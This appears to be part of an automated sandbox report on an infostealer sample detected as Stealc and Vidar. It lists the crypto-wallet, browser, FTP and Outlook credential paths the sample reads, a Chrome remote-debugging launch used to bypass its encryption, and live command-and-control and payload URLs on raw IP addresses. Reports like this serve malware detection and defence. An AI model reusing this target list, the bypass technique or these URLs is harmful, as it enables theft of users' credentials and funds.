Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\seed.seco
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2715412771.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2713835839.0000000000011000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2715412771.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2249922371.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2496, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	751 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	29%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007010001\11d5b5931e.exe	39%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.16/luma/random.exe3J	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/msvcp140.dllx	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpgL	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php6	100%	Avira URL Cloud	malware
http://185.215.113.16/ferences.SourceAumid	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exe61395d	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/random.exerlencodedj	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exeo%	100%	Avira URL Cloud	phishing
http://185.215.113.16/D	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/nss3.dllk	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	0%	Avira URL Cloud	safe
https://msn.comXIDv10	0%	Avira URL Cloud	safe
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	0%	Avira URL Cloud	safe
http://185.215.113.16/luma/random.exea5	100%	Avira URL Cloud	phishing
http://185.215.113.16/luma/random.exeqJ	100%	Avira URL Cloud	phishing
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.23.110	true	false	high
play.google.com	142.250.185.174	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
www.google.com	216.58.206.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.184.193	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
home.fvtejj5vs.top	62.76.234.151	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
https://sb.scorecardresearch.com/b2?rn=1731886073046&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=27290C15251A6C5C3AE6192F24BB6D0A&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
https://deff.nelreports.net/api/report?cat=msn	false		high
